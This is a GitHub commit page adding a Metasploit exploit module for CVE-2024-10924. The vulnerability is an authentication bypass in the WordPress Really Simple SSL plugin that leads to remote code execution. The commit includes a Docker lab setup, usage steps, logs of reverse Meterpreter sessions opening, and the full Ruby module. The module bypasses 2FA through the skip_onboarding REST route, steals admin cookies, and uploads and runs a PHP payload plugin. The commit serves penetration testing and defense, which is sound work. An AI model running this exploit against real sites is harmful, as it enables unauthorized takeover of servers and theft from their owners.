-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19661, WordPress Really Simple Security Plugin RCE (CVE-2024-10924
- Loading branch information
Showing
3 changed files
with
338 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -66,3 +66,4 @@ give | |
ultimate-member | ||
wp-fastest-cache | ||
post-smtp | ||
really-simple-ssl |
169 changes: 169 additions & 0 deletions
169
documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
## Vulnerable Application | ||
|
||
The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack. | ||
This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance. | ||
|
||
### Pre-requisites: | ||
- **Docker** and **Docker Compose** installed on your system. | ||
|
||
|
||
### Setup Instructions | ||
|
||
1. **Download the Docker Compose file**: | ||
Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database. | ||
|
||
```yaml | ||
version: '3.1' | ||
|
||
services: | ||
wordpress: | ||
image: wordpress:latest | ||
restart: always | ||
ports: | ||
- 5555:80 | ||
environment: | ||
WORDPRESS_DB_HOST: db | ||
WORDPRESS_DB_USER: chocapikk | ||
WORDPRESS_DB_PASSWORD: dummy_password | ||
WORDPRESS_DB_NAME: exploit_market | ||
mem_limit: 512m | ||
volumes: | ||
- wordpress:/var/www/html | ||
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini | ||
|
||
db: | ||
image: mysql:5.7 | ||
restart: always | ||
environment: | ||
MYSQL_DATABASE: exploit_market | ||
MYSQL_USER: chocapikk | ||
MYSQL_PASSWORD: dummy_password | ||
MYSQL_RANDOM_ROOT_PASSWORD: '1' | ||
volumes: | ||
- db:/var/lib/mysql | ||
|
||
volumes: | ||
wordpress: | ||
db: | ||
``` | ||
2. **Add custom PHP configuration**: | ||
- Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content: | ||
|
||
```ini | ||
upload_max_filesize = 64M | ||
post_max_size = 64M | ||
``` | ||
|
||
3. **Start the Docker environment**: | ||
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services: | ||
|
||
```bash | ||
docker-compose up -d | ||
``` | ||
|
||
4. **Install and activate the plugin**: | ||
- Download the vulnerable version of **Really Simple SSL**: | ||
```bash | ||
wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip | ||
``` | ||
- Extract the plugin: | ||
```bash | ||
unzip really-simple-ssl.9.1.1.zip | ||
``` | ||
- Copy the plugin files to the WordPress container: | ||
```bash | ||
docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/ | ||
``` | ||
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel. | ||
|
||
5. **Enable Two-Factor Authentication**: | ||
- Go to **Settings > Really Simple Security**. | ||
- Activate **Two-Factor Authentication**. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin. | ||
2. **Start Metasploit** using the command `msfconsole`. | ||
3. Use the correct module for the vulnerability: | ||
|
||
```bash | ||
use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce | ||
``` | ||
|
||
4. Set the target's IP and URI: | ||
|
||
```bash | ||
set RHOSTS <target_ip> | ||
set TARGETURI / | ||
``` | ||
|
||
5. **Run the module**: | ||
|
||
```bash | ||
run | ||
``` | ||
|
||
6. **Verify the Authentication Bypass**: | ||
- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator. | ||
|
||
## Options | ||
|
||
### USERID | ||
|
||
The user ID to target for 2FA bypass (default: 1) | ||
|
||
## Scenarios | ||
|
||
### Example 1: PHP Meterpreter (ARCH_PHP) | ||
|
||
```bash | ||
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] WordPress Version: 6.5.3 | ||
[+] Detected vulnerable plugin slug: really-simple-ssl | ||
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. | ||
[*] 2FA bypass successful. Uploading plugin... | ||
[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php... | ||
[*] Sending stage (40004 bytes) to 172.18.0.3 | ||
[+] Deleted ajax_pottw.php | ||
[+] Deleted wp_1ftvf.php | ||
[+] Deleted ../wp_1ftvf | ||
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100 | ||
meterpreter > sysinfo | ||
Computer : a8dddfbbb9e2 | ||
OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > | ||
``` | ||
|
||
### Example 2: Linux Command Shell (ARCH_CMD) | ||
|
||
```bash | ||
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] WordPress Version: 6.5.3 | ||
[+] Detected vulnerable plugin slug: really-simple-ssl | ||
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. | ||
[*] 2FA bypass successful. Uploading plugin... | ||
[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php... | ||
[*] Sending stage (3045380 bytes) to 172.18.0.3 | ||
[+] Deleted ajax_gjreh.php | ||
[+] Deleted wp_3wbfa.php | ||
[+] Deleted ../wp_3wbfa | ||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100 | ||
meterpreter > sysinfo | ||
Computer : 172.18.0.3 | ||
OS : Debian 11.8 (Linux 5.15.0-125-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
168 changes: 168 additions & 0 deletions
168
modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,168 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Payload::Php | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE', | ||
'Description' => %q{ | ||
This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin | ||
(versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and | ||
uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable, | ||
2FA must be enabled on the target site; otherwise, the exploit will not work. | ||
}, | ||
'Author' => [ | ||
'Valentin Lobstein', # Metasploit module | ||
'István Márton' # Vulnerability discovery | ||
], | ||
'References' => [ | ||
['CVE', '2024-10924'], | ||
['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'], | ||
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Privileged' => false, | ||
'Platform' => %w[unix linux win php], | ||
'Arch' => [ARCH_PHP, ARCH_CMD], | ||
'Targets' => [ | ||
[ | ||
'PHP In-Memory', | ||
{ | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP | ||
# tested with php/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Unix In-Memory', | ||
{ | ||
'Platform' => %w[unix linux], | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Windows In-Memory', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2024-11-14', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | ||
'Reliability' => [REPEATABLE_SESSION] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1]) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? | ||
|
||
print_status("WordPress Version: #{wordpress_version}") if wordpress_version | ||
|
||
%w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug| | ||
plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0') | ||
case plugin_check.code | ||
when 'appears' | ||
return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.") | ||
when 'safe' | ||
return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.") | ||
end | ||
end | ||
|
||
CheckCode::Unknown('No vulnerable plugins were detected.') | ||
end | ||
|
||
def exploit | ||
admin_cookie = bypass_2fa | ||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookie') unless admin_cookie | ||
|
||
print_status('2FA bypass successful. Uploading plugin...') | ||
upload_and_execute_payload(admin_cookie) | ||
rescue StandardError => e | ||
fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}") | ||
end | ||
|
||
def bypass_2fa | ||
user_id = datastore['USER_ID'] | ||
login_nonce = Rex::Text.rand_text_numeric(10) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path), | ||
'ctype' => 'application/json', | ||
'data' => { | ||
'user_id' => user_id, | ||
'login_nonce' => login_nonce, | ||
'redirect_to' => '/wp-admin/' | ||
}.to_json, | ||
'vars_get' => { | ||
'rest_route' => '/reallysimplessl/v1/two_fa/skip_onboarding' | ||
} | ||
}) | ||
|
||
fail_with(Failure::Unreachable, 'No response from the target') unless res | ||
|
||
case res.code | ||
when 404 | ||
fail_with(Failure::NotVulnerable, '2FA is not enabled or the plugin is misconfigured.') | ||
when 200 | ||
cookies = extract_cookies(res.get_cookies) | ||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.') unless cookies | ||
return cookies | ||
else | ||
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.") | ||
end | ||
end | ||
|
||
def extract_cookies(cookie_header) | ||
match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/) | ||
return match[1] if match | ||
|
||
nil | ||
end | ||
|
||
def upload_and_execute_payload(admin_cookie) | ||
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" | ||
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" | ||
|
||
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") | ||
zip = generate_plugin(plugin_name, payload_name) | ||
|
||
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) | ||
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded | ||
|
||
print_status("Executing the payload at #{payload_uri}...") | ||
|
||
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") | ||
register_dir_for_cleanup("../#{plugin_name}") | ||
send_request_cgi({ | ||
'uri' => payload_uri, | ||
'method' => 'GET' | ||
}) | ||
end | ||
end |